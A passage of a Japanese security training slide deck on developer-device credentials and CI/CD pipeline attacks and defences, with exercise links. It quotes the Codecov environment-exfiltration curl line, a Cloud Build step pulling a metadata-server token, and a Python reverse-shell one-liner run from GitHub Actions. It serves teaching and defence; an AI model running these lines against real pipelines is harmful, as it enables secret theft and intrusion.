    Push Verification Strong Moderate Strong
    FIDO2 (e.g. Security
    Key, Windows Hello and
    Touch/Face ID)
    Strong Strong Strong
    57
    一部上記の表は実装などにより例外の可能性あり
    

    View Slide

58. 守りかたを考える
    (参考) 認証に必要なCredential
    社内IT・Securityの領域
    2要素認証の種類ごとのAccount Take Overの防止レートに関する報告(Google, 2019)
    Google Online Security Blog: New research: How effective is basic account hygiene at preventing hijacking 58
    

    View Slide

59. 守りかたを考える
    (参考) 認証に必要なCredential
    ● 2FA(2要素認証)に加えたシングル・サインオン認証の保護
    認証への組み合わせ 効果の例
    インベントリに紐付いたTPMベースの
    デバイス認証
    攻撃への対策: 攻撃者端末からのログイン、フィッシング攻撃対策
    社内統制: BYODやユーザに紐付かない端末からのログインを防ぐ
    端末のセキュリティ状況などに紐付い
    た認証
    攻撃への対策: マルウェアに感染しやすい端末からのログインを防ぐ
    社内統制: 許可していない場所からのログインや、アップデートやセキュリティ対
    策が行われていない端末からのログインを防ぐ
    リスクベース認証
    (ロケーションやログインアクティビ
    ティなど)
    攻撃への対策: 不正ログインの成功確率を下げる
    【補足】
    企業のサイバーセキュリティ対策で参考になる文献: CIS Controls
    (技術だけでなく、組織・プロセスなどもSecurityの観点では重要になる)
    いわゆる”ゼロトラスト”やセキュリティのアーキテクチャで参考になる参考文献:
    Beyond Corp, Microsoft Security Guidelineなど
    また、今回パスワードに加えて2FAを用いるケースを紹介したが、パスワードを
    使用しないこともある(Passwordless)
    社内IT・Securityの領域
    59
    

    View Slide

60. 守りかたを考える
    初期認証が終わったあとに登録・取得するCredential
    ● 対策例
    対策例 関係するCredentialの種類 効果の例
    最小権限化 全Credential 最小権限により窃取されたトークンで出来ることが最小化される
    統制: 必要のない人が高権限を持つことを抑える。Policy-as-codeなど
    も使用可
    権限を一時的に付与 全Credential 一定期間後、ユーザの持つ権限をはく奪する
    例: デフォルト権限はReaderで、期限付きでOwner権限を取得
    発行したCookie/Token
    への有効期限設定
    全Credential 窃取されたトークンが一定期間後後、失効し使えなくなる (参照)
    ※ 「○分間操作がなければ」でなく、一定時間経過後に強制的に再認証させる
    操作に対する承認を行う GitHubなど 1つのトークンだけでは大きな操作が出来ないようになる
    Static Keyの発行の禁止 例: GoogleのService Account
    keyなど
    長期鍵がローカルに残らないようになる
    統制: クラウド内の認証の仕組み(Workload Identityなど)、クラウド間
    の認証の仕組み(OIDCなど)を用いることにより、どこから利用している
    かが分かる
    ネットワーク制限や端末
    制限の追加
    全Credential 窃取されたトークンが別の環境からは使えないようになる
    不正監視 全Credential 環境の不審な活動を監視する (Security Monitoringの領域)
    60
    

    View Slide

61. 守りかたを考える
    Credentialsの保管
    61
    ● 長期的に使用するCredentialの保管方法(Password, Static Key, Token, SSH Keyなど)
    ○ そもそもCredentialを持たないKeylessを基本的に採用する
    ■ Cloud内ではStatic Keyを持たずに認証できる, Cloud間もOIDCを用いてKeylessで認証で
    きる(次章でGitHub ActionsからGCPへのKeylessアクセスを実践する)
    ○ Keylessに出来ないCredentialの保管方法
    ■ サーバやクラウドサービス上のSecret Managerなどに保管・管理する
    ● Hashicorp Vault, AWS Secrets Manager, Google Secrets Managerなど
    ○ 監査ログを取得でき、取得制限もかけられる
    ■ SSH Keyの保管・利用にはSecurity Keyを用いる
    ■ Cloudの長期鍵などは、使用する場所に保管した後、端末からは削除する
    ○ (限界) ただし、現実的にそのような保管が出来ないケースは存在する
    ■ 前ページの対策を組み合わせながら、可能な限りセキュアにする
    ■ (参考) Secret混入の検知・防止する機能・ツールを利用する
    ● GitHub Push Protection, GitLab Secret Detection, TrivyによるSecret
    Scanning, VS Codeのextensions , etc
    

    View Slide

62. 守りかたを考える
    (参考) 端末そのもののセキュリティ
    ● 今回の講義では侵入を前提としているものの、端末自体のセキュリ
    ティを強化することによりリスクを下げることもできる
    ● 対策例 ※攻撃者はDefense Evasionを調査していることに注意
    ○ ソフトウェアの資産管理・脆弱性の管理
    ○ OSなどのソフトウェアの堅牢化
    ○ マルウェア対策・調査手段の確保
    ■ EDRやマルウェア対策ソフトウェアの使用
    ■ そもそもマルウェア感染が起きづらい・App間の分離がされている端末を使用
    ● 適切に設定されたChrome OS, iOS, Androidなど
    ○ ネットワーク制限
    ■ 端末間の通信制限・外向き通信制限によるC2サーバへの接続防止など
    ● ソフトウェア・基盤開発者の領域で出来ること・出来ないことがある
    ● 自分たちの作るアプリケーションのセキュリティが、他の組織も含めた対策によ
    り変わってくることを認識しておく
    ※ 今回スコープ外だが、IT Admin権限の窃取によるクラウド侵害も攻撃パスとして存在する
    社内IT・Securityの領域
    62
    

    View Slide

63. 演習2: Try to secure your token
    ● 下記の演習を実施する
    ○ https://github.com/rung/training-devenv-security/tree/main/2-exercise2
    ● ゴール
    ○ クレデンシャルのセキュア化を試してみる
    63
    

    View Slide

64. 本章のまとめ
    ● 標的型攻撃の流れの把握
    ○ ATT&CKにおいて、端末への攻撃がどのように表現されているかを説明した
    ● 開発者端末でのCredential Access
    ○ 端末に残りうる認証情報にどのようなものがあるかを確認した
    ○ 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破さ
    れることを学んだ
    ● 守りかたを考える
    ○ 認証情報に対するセキュリティの強化という目線から、対策としてどのような
    ことができるかを説明した
    ○ ソフトウェアや開発の基盤の開発者からは出来ないことも多く、他チームも含
    んだ対策によりリスクが減るケースが多いことを説明した
    ○ クレデンシャルの保管には課題も多いことを説明した
    64
    

    View Slide

65. 3. CI/CDパイプラインのセキュリティ
    65
    

    View Slide

66. アジェンダ
    1. Introduction -
    開発環境の変化と攻撃の流れ
    2. 開発端末に残るもの
    3. CI/CDパイプラインの
    セキュリティ
    開発端末に対する攻撃に成功すると何が起きるのか、実際に演
    習を通じて学び、開発者として出来ることを考えます
    ● 標的型攻撃の流れの把握
    ● 開発者端末でのCredential Access
    ● 守りかたを考える
    新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
    なのかを、演習を通じて学びます
    ● CI/CDパイプラインの理解
    ● CI/CDパイプラインを狙った攻撃の理解と実践
    ● 守りかたの理解と実践と限界
    66
    下記の概要を把握し、クライアントサイドからの攻撃パスがあ
    ることを理解します
    ● 最近の開発環境の変化
    ● 開発環境の変化による攻撃パスの違い
    ● 標的型攻撃の概要と攻撃手法のモデル
    

    View Slide

67. 本章の位置付け
    ● 新たな本番環境への侵入口となったCI/CDパイプラインについて、前章までに扱っ
    た端末側への攻撃の観点と、パイプラインへのサプライチェーン攻撃の観点の双方
    からの攻撃を考える
    新たに増えた本番接続口
    67
    守りたい場所
    

    View Slide

68. 3. CI/CDパイプラインのセキュリティ
    1. CI/CDパイプラインの理解
    CI/CDパイプラインがどのような理由で使われるようになったのか、どのよう
    な用途での利用を行えるのか理解し、実際に演習を行います
    68
    

    View Slide

69. CI/CDパイプラインの理解
    Application Developmentのトレンド
    ● DevOps
    ○ 開発者と運用者の協力・融合
    ■ 高頻度のデプロイメント
    ■ 短期間での変更
    ○ オートメーション
    ■ CI (Continuous Integration)
    ■ CD (Continuous Delivery)
    ● Infrastructure as codeとGitOpsなどの流れ
    ○ Gitを用いてコードでインフラを管理
    ○ Immutable infrastructure
    ■ 既にあるサーバにアップデートを当てるの
    ではなく、コンテナなどを用いて、毎度ビ
    ルドしなおしアップデートはコンテナごと
    入れ替えるという流れに
    ● 多くのソフトウェア開発者を抱える会社でCI/CDパイプ
    ラインの活用は進んでいる
    69
    

    View Slide

70. CI/CDパイプラインの理解
    CI/CDパイプラインとは何か
    ● CI/CDのユースケース
    ○ アプリケーションの開発
    ○ Infrastructure as Codeにおけるインフラの管理 (Terraformなど)
    70
    

    View Slide

71. CI/CDパイプラインの理解
    CI/CDパイプラインのツール
    ● Managed CI/CD Servicesの例
    ○ GitHub Actions (Managed)
    ○ AWS CodePipeline
    ○ Google Cloud Build
    ○ GitLab CI/CD (Managed)
    ○ CircleCI, etc
    ● Self-Hosted CI/CD Servicesの例
    ○ Jenkins
    ○ GitHub Actions (Self-Hosted)
    ○ Drone
    ○ GitLab CI, etc
    ※ コンテナのデプロイメントの管理(CD)はSpinnakerやArgoCDなどのツールが使われることも多い
    が、役割は類似であること、コンテナのビルドまでは上記ツールで行われることが多く同様に攻撃で
    きるため、今回は扱わない
    71
    

    View Slide

72. CI/CDパイプラインの理解
    CI/CDパイプラインのインパクト
    ● CI/CDパイプラインへの攻撃は大きなインパクトを持つ
    ○ CI/CDはプロダクション環境と直接つながっているから
    ○ 環境変数に長期鍵を保管して権限をもたせるのがプラクティスになっている
    ○ 本番に繋がるトークンが、Review不要の誰でも変更できるブランチを経由し
    て取得できるようになっていることが多い
    72
    

    View Slide

73. CI/CDパイプラインの理解
    2021: Codecov Supply-chain Attack
    ● Codecov: CI/CD pipelines上で用いるテストカバレッジの計測ツール
    ○ Codecovが下記の内容を含むよう改ざんされた(サプライチェーン攻撃)
    curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:///upload/v2 || true
    ■ git repositoryの名前と環境変数がアップロードされる
    ○ 2021年4月に発覚。約2ヶ月間世界中で気づかれないまま利用され続けていた
    73
    

    View Slide

74. CI/CDパイプラインの理解
    CI/CDパイプラインにおける難しさ
    ● CI/CDは便利だけどリスクも高い
    ○ デフォルトの挙動を理解し、対策を行わないと、設定ミスにより本番侵害に繋
    がる
    ○ ログの保管・実施事項のモニタリングが難しい
    ○ Managedだと外向き通信の制限なども難しい
    ● 静的な長期トークンの危険
    ○ ポータブル
    ○ Expireしない
    ○ トークンの中央管理は難しい
    ● サプライチェーン管理
    ○ ソフトウェアの依存関係だけでなく、CI/CDパイプライン上で使っているツー
    ルも攻撃に使用される
    ○ 何のツールを使っているかの把握やIntegrityの管理も必要だが、そもそも管
    理手段がないものもあり難しい
    74
    まだベストプラクティスも確立しておらず、セキュリティに配慮した設計が難しい
    

    View Slide

75. CI/CDパイプラインの理解
    ATT&CK-like threat matrix
    https://github.com/rung/threat-matrix-cicd
    MercariでATT&CK-likeに
    まとめた攻撃手法一覧
    75
    

    View Slide

76. CI/CDパイプラインの理解
    (Ref) Top10 CI/CD Security Risks
    https://www.cidersecurity.io/top-10-cicd-security-risks/
    Top10 CI/CD Security Risks
    76
    

    View Slide

77. 守りかたの理解と実践
    (Ref) SLSA
    ● SLSA: Supply-chain Levels for Software Artifacts
    ○ サプライチェーンを保護する対策の業界標準
    ○ 主なスコープ
    ■ Software artifactの作成
    ■ 依存関係の利用
    ■ DeveloperからConsumerまでのサプライチェーン
    77
    (本講義のゴール)具体的に各Requirementが何を守るのかを意識しながら利用すること
    

    View Slide

78. CI/CDパイプラインの理解
    (Ref) GitHubの推奨設定
    GitHub Organizationの安全な運用とモニタリングに関するスライド
    （全44ページ）を無償公開しました - Flatt Security Blog
    78
    

    View Slide

79. CI/CDパイプラインの理解
    (Ref) CI/CDセキュリティ関連の文書リスト
    79
    CI/CD, SLSAなどを含むクラウド関係全体の文
    書リスト
    CI/CD Providers - CloudSecDocs
    

    View Slide

80. 演習3: Try continuous deployment and Infrastructure as code
    ● 下記の演習を実施する
    ○ https://github.com/rung/training-devenv-security/tree/main/3-exercise3
    ● ゴール
    ○ CI/CDによるデプロイ自動化とInfrastructure as Codeを実際に試してみる
    80
    

    View Slide

81. (参照) Lab環境
    81
    devenv-security-app
    secrets.GCP_
    SA_KEY
    GitHub Actions
    (CD)deploy
    test
    https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-app/.github/workflows
    main branch
    any branch
    Deployment
    (To simplify the lab, app builds container and deploy it directly)
    Cloud Run
    devenv-security-app
    secrets.GCP_
    SA_KEY
    GitHub Actions
    (CD)apply
    plan
    https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-iac/.github/workflows
    Google Cloud
    main branch
    any branch
    Apply
    Google Cloud
    Resource
    on Your Project
    Plan
    (Storage) state
    management
    App
    IaC
    

    View Slide

82. 3. CI/CDパイプラインのセキュリティ
    2. CI/CDパイプラインを狙った攻撃の理解と実践
    CI/CDパイプラインを狙った攻撃について理解し、実際に演習を行います
    82
    

    View Slide

83. CI/CDパイプラインを狙った攻撃の理解と実践
    CI/CDパイプラインにおける攻撃手法
    Source Code
    (Git Repository)
    Developer, SRE
    Production
    Build/Test Deploy
    ✔
    Credentials
    on Env Variables
    Approver
    ● CI/CD Configuration変更
    ● ソースコードの変更
    ● IaCでのコード変更
    ● Lint, Test, Build Toolへのサプラ
    イチェーン
    ● デプロイのためのCredentials取得
    (isolation不足)
    ● デプロイツールへのSupply-chain
    ● Bypass Review
    Credentials
    on Env Variables
    Merged
    CI CD
    83
    

    View Slide

84. CI/CDパイプラインを狙った攻撃の理解と実践
    Attack Scenario 1 - Managed CI/CD Pipelineへのサプライチェーン攻撃
    ● Codecovのようなサプライチェーン攻撃
    ○ CircleCIの環境変数は同じレポジトリ内のどのブランチからも参照できる
    ■ (mainブランチとそれ以外のIsolationがない)
    84
    

    View Slide

85. CI/CDパイプラインを狙った攻撃の理解と実践
    Attack Scenario 2 - IaC by Cloud Buildの一般的な構成
    ● Infrastructure as Code through the CI/CD pipeline
    ○ GCP Cloud Buildは透過的にSecret Managerにアクセスできるように設定可
    能
    ■ 適切に設定しないと、mainブランチとそれ以外のIsolationがされない
    ■
    ■
    85
    

    View Slide

86. CI/CDパイプラインを狙った攻撃の理解と実践
    Attack Scenario 2 - IaC by Cloud Buildの一般的な構成を狙った攻撃
    Device
    (Write
    Permission)
    Plan Apply
    ✔
    Credential For Cloud
    Configuration
    Approver
    Infrastructure as
    Code
    Cloud Build Cloud Build
    GitHub
    Secret Manager
    Merged
    Cloud
    Infrastructure
    Branch: dev Branch: main
    CI CD
    C&C
    1. Malware Infection via Phishing
    2. Kick CI by push and
    modify cloud build config
    Metadata Server
    3. Metadata server provides Temporary
    Google Service Account Token
    4. Attacker retrieves credential from Secret Manager
    86
    

    View Slide

87. CI/CDパイプラインを狙った攻撃の理解と実践
    (Ref) Attack Scenario 2 - IaC by Cloud Build
    cloudbuild.yaml (Cloud Build Configuration)
    steps:
    - name: 'curlimages/curl'
    args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H",
    "Metadata-Flavor: Google"]...
    ● Cloud Buildからの一時トークンの取得は下記で実施できる
    ○ * SSRFと同様の攻撃. Metadataからのトークン取得
    87
    

    View Slide

88. CI/CDパイプラインを狙った攻撃の理解と実践
    (Ref) Attack Scenario 3 - CI/CDパイプライン内での権限昇格 (Self-hosted)
    ● CI/CDパイプライン上で権限昇格して横展開する
    ○ コンテナ環境で運用されているCI/CD pipelineの例
    ● Real World Example (Sep, 2021)
    ○ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request
    ■ https://goteleport.com/blog/hack-via-pull-request/
    88
    

    View Slide

89. 演習4: Attack against CI/CD
    ● 下記の演習を実施する
    ○ https://github.com/rung/training-devenv-security/tree/main/4-exercise4
    ● ゴール
    ○ CI/CDパイプラインを攻撃し、アタックサーフェスを理解する
    89
    

    View Slide

90. 3. CI/CDパイプラインのセキュリティ
    3. 守りかたの理解と実践
    さきほど攻撃を行ったCI/CDパイプラインについて、どのような守り方をする
    と攻撃を防ぐことができるか考えます
    90
    

    View Slide

91. 守りかたの理解と実践
    CI/CDパイプラインを守る
    ● CI/CDセキュリティを考える際に使えるリソース
    ○ メルカリ公開のThreat matrixが“Mitigation”列を含んでいる
    ■ CI/CDセキュリティのデザインを決めるときに使用できる
    ○ Top10 CI/CD Security RisksもRecommendationを含む
    ● CDはプロダクションレベルのセキュリティが必要となる
    ○ CDはビルド/デプロイや設定変更を行える場所になる
    https://github.com/rung/threat-matrix-cicd
    91
    

    View Slide

92. 守りかたの理解と実践
    Components of CI/CD
    Name Tools
    Device ● Developer Workstation: Mac/Win/Cloud-based
    Git Repository
    Service (SCM)
    ● GitHub, GitLab
    CI ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
    CD
    ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
    ● CD Services (e.g. Spinnaker, ArgoCD)
    Secret
    Management
    ● Secret Management Services (e.g. AWS Secret Manager, GCP Secret
    Manager, Hashicorp Vault)
    Production
    environment
    ● Cloud Services (e.g AWS, Google Cloud, Microsoft Azure)
    ● Other Resources (e.g. Container Registry, Linux Server, Kubernetes)
    92
    

    View Slide

93. 守りかたの理解と実践
    Mitigationのしかた
    ●
    Source Code
    (Git Repository)
    Device
    Production
    Build/Test Deploy
    ✔
    Approver
    ● 適切なAccess Controls
    ● Least Privilege
    ● Rate Limiting
    ● Signed Commitsの強制
    ● Audit Logging and
    Monitoring
    Approved
    Secret Manager
    ● ネットワーク制限
    ● Audit Logging and
    Monitoring
    ● Rate Limit
    CI CD
    ● Self-Hosted (Not Managed)の堅牢化
    ● CI/CDの分離
    ● Keyless
    ● Audit Logging and Monitoring
    ● 信頼できないtoolを使用しない
    ● Tool Integrity Checks
    ● TerraformなどはCDでのコード実行の制限
    (Disallow CI/CD config modification without
    review, etc)
    ●
    ● Keylessを用いる。必要なStatic KeyはSecret Managerに保管
    ● mainブランチとそれ以外のIsolationをする
    ● 適切な鍵管理・権限設定(Key Rotation, Least Privilege, CIと
    CDで権限を分けるなど)
    ● ネットワーク制限
    ● Audit Logging and Monitoring
    ❌
    ❌
    Attacker’s Server
    C&C
    Egress Restriction
    Valid Token from
    External Network
    ❌
    ❌
    Network
    Restriction to API
    Secret Manager
    93
    

    View Slide

94. 守りかたの理解と実践
    セキュリティの基本原則に立ち返る
    ● 静的なクレデンシャルは、一度盗まれたらどこからでも使える、Single Point of Failure
    になりうる
    ● 攻撃の流れ全体を見ると、インテリジェントな対策よりも、まずはNetworkのEgress制
    限・3rd party toolなどがトークンにアクセスできないようにするなどの対策が有効にな
    るとも考えられる(アップロードやC2サーバへのアクセスを防止できるため)
    ● セキュリティの基本原則に立ち返りつつ考える
    ○ Defense in depth (多層防御)
    ■ ネットワーク制御, CIとCDの分離, Keyless, Attack Surfaceの最小化,
    Integrityの確認(署名検証: tool, application, library, container image)
    ■ 鍵が不正利用された可能性がある場合に速やかに変更できるプロセスの確立
    ○ Least Privilege (最小権限の原則)
    ■ 常に最小権限にする
    ○ その他
    ■ Multi-party authentication(Approval必須)
    ■ Audit logging and Security Monitoringなど
    ● ※ モノレポなどでは、さらなる考慮が必要
    94
    

    View Slide

95. 守りかたの理解と実践
    Managed vs Self-hosted
    ● Managed CI/CD Pipelinesの課題
    ○ 可視性が低い
    ○ 他社とネットワーク環境を共有しており、ネットワーク制限なども難しい
    ● Self-hosted CI/CDの選択肢
    ○ 1. Commercial CI/CDのSelf-hosted runnerを用いる(GitHub Actionsなど)
    ○ 2. OSSのCI/CDをベースにしてCI/CD infrastructureをインハウスで作る
    ● No perfect solution provided!
    ○ CI/CDセキュリティはまだ新しいエリア
    ○ セキュアなCI/CDパイプラインを作るためには、Self-hostedなども用いなが
    ら開発することが必要
    95
    

    View Slide

96. 演習5: Secure your CI/CD pipeline
    ● 下記の演習を実施する
    ○ https://github.com/rung/training-devenv-security/tree/main/5-exercise5
    ● ゴール
    ○ CI/CDパイプラインのセキュア化を実施しつつ、限界を把握する
    96
    

    View Slide

97. 守りかたの理解と実践
    (参考) GitHub ActionsのOIDC Token
    ● Flow
    ● ID Tokenの構造 (repository: rung/actions-test, branch: test-run)
    97
    Actions ID Provider
    curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}"
    "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience="
    ID Token
    Format: JWT(JWS)
    Header: {"typ":"JWT","alg":"RS256","x5t":"...","kid":"..."}
    Payload:
    {"jti":"..."","sub":"repo:rung/actions-test:ref:refs/heads/test-run","aud":"","ref":"refs/heads/test-run","sha":"...","repo
    sitory":"rung/actions-test","repository_owner":"rung","repository_owner_id":"...","run_id":"...","run_number":"...","run_attempt":"1"
    ,"repository_visibility":"private","repository_id":"...","actor_id":"...","actor":"rung","workflow":"...","head_ref":"","base_ref":""
    ,"event_name":"push","ref_type":"branch","job_workflow_ref":"rung/actions-test/.github/workflows/cron.yml@refs/heads/test-run","iss":
    "https://token.actions.githubusercontent.com","nbf":...,"exp":<300sec>,"iat":...}
    Spec of Claims
    Configuring OpenID Connect in cloud providers - GitHub Docs
    

    View Slide

98. 守りかたの理解と実践
    (参考) CI/CDの中に入ってコマンドを実行する
    ● Tailscaleなどを利用するとサーバのセットアップなどなしにCI/CDの中身を見れる
    ○ (Mesh networkを利用して直接通信できるようになる)
    ○ Actionsからローカル端末にリバースシェルを貼る
    ○ Tailscaleに接続した端末で待ち受ける
    98
    - name: Setup Tailscale
    uses: tailscale/github-action@main
    with:
    authkey: ${{ secrets.TAILSCALE_SECRET_FOR_DEBUG }}
    - name: shell
    run: |
    export RHOST="";export RPORT=8080;python -c 'import
    socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
    (0,1,2)];pty.spawn("/bin/sh")'
    % nc -l 8080
    $ hostname
    hostname
    fv-az399-545
    $ curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=test"
    

    View Slide

99. 本章のまとめ
    ● CI/CDパイプラインの理解
    ○ CI/CDパイプラインの理解や、CI/CDパイプラインを狙った攻撃を説明した
    ● CI/CDパイプラインを狙った攻撃の理解と実践
    ○ 実際に攻撃する方法を紹介し、実践を行った
    ● 守りかたの理解と実践と限界
    ○ 守りかたと、現状の限界を説明し、守りかたの実践を行った
    99
    

    View Slide

100. Summary
     100
     

     View Slide

101. (再掲) ゴール
     Threat Modelingによる
     リスクの特定サイクル
     (Microsoft)
     Purple Teaming
     攻撃目線・防御目線の協力
     によるセキュリティ改善
     (SANS)
     101
     ● Webアプリケーションを直接狙わない、開発環境経由
     の攻撃シナリオを把握する
     ● NISTなどのセキュリティフレームワークや各種ベスト
     プラクティス、Public Cloud/SaaSなどの提供するセ
     キュリティ機能について、開発環境観点からの重要度
     の判断や、それらに足りていない項目の把握ができる
     ようになる
     ● ベストプラクティスの確立していない新しい開発技術
     においても、Threat Modelingや設計が出来るようにな
     る
     

     View Slide

102. 本日行った内容
     1. Introduction -
     開発環境の変化と攻撃の流れ
     2. 開発端末に残るもの
     3. CI/CDパイプラインの
     セキュリティ
     開発端末に対する攻撃に成功すると何が起きるのか、実際に演
     習を通じて学び、開発者として出来ることを考えます
     ● 標的型攻撃の流れの把握
     ● 開発者端末でのCredential Access
     ● 守りかたを考える
     Webアプリケーションの侵害について、開発環境の攻撃シナリオの観点から講義を行った
     102
     新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
     なのかを、演習を通じて学びます
     ● CI/CDパイプラインの理解
     ● CI/CDパイプラインを狙った攻撃の理解と実践
     ● 守りかたの理解と実践と限界
     下記の概要を把握し、クライアントサイドからの攻撃パスがあ
     ることを理解します
     ● 最近の開発環境の変化
     ● 開発環境の変化による攻撃パスの違い
     ● 標的型攻撃の概要と攻撃手法のモデル
     

     View Slide

103. Special Thanks!
     103
     

     View Slide

104. Special Thanks!
     ● Security 2022 Web Security Class
     ○ Producer: Takashi Yoneuchi
     ○ Tutor: Yuta Morioka
     ● Reviewer / Advisor (Abc order)
     ○ Ginji Hayashi
     ○ Kengo Suzuki
     ○ Masahiro Yamada
     ○ Miki Takahashi
     ○ Mitsuaki (Mitch) Shiraishi
     104
     

     View Slide

105. References
     105
     

     View Slide

106. References
     ● 1. Introduction - 開発環境の変化と攻撃の流れ
     ○ 石川 朝久, 2022”脅威インテリジェンスの教科書”
     ○ Adam Shostack, 2014 ”Threat Modeling: Designing for Security”
     ○ Purple Teaming Explained
     ○ Threat Modeling at Mercari
     ○ MITRE ATT&CK®
     ○ The Unified Kill Chain
     ○ MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training
     ○ Microsoft Security Development Lifecycle Threat Modelling
     ● 2. 開発端末に残るもの
     ○ The C2 Matrix
     ○ Pursuing evasive custom command & control - GuideM
     ○ Chromium Docs - Chrome Security FAQ
     ○ About Multifactor Authentication | Okta
     ○ GitHub - swisskyrepo/PayloadsAllTheThings
     ○ HackTricks
     ○ Stealing Chrome cookies without a password
     ○ GitHub - moonD4rk/HackBrowserData
     106
     

     View Slide

107. References
     ● 3. CI/CDパイプラインのセキュリティ
     ○ Attacking and Securing CI/CD Pipeline - Speaker Deck
     ○ Terraform CI code execution restrictions | Mercari Engineering
     ○ Common Threat Matrix for CI/CD Pipeline
     ○ Top 10 CI/CD Security Risks
     ○ SLSA: Supply-chain Levels for Software Artifacts
     ○ CNCF Software Supply Chain Best Practices
     ○ The Insecure Software Supply Chain - A History of Failure and a New Way Forward
     107
     

     View Slide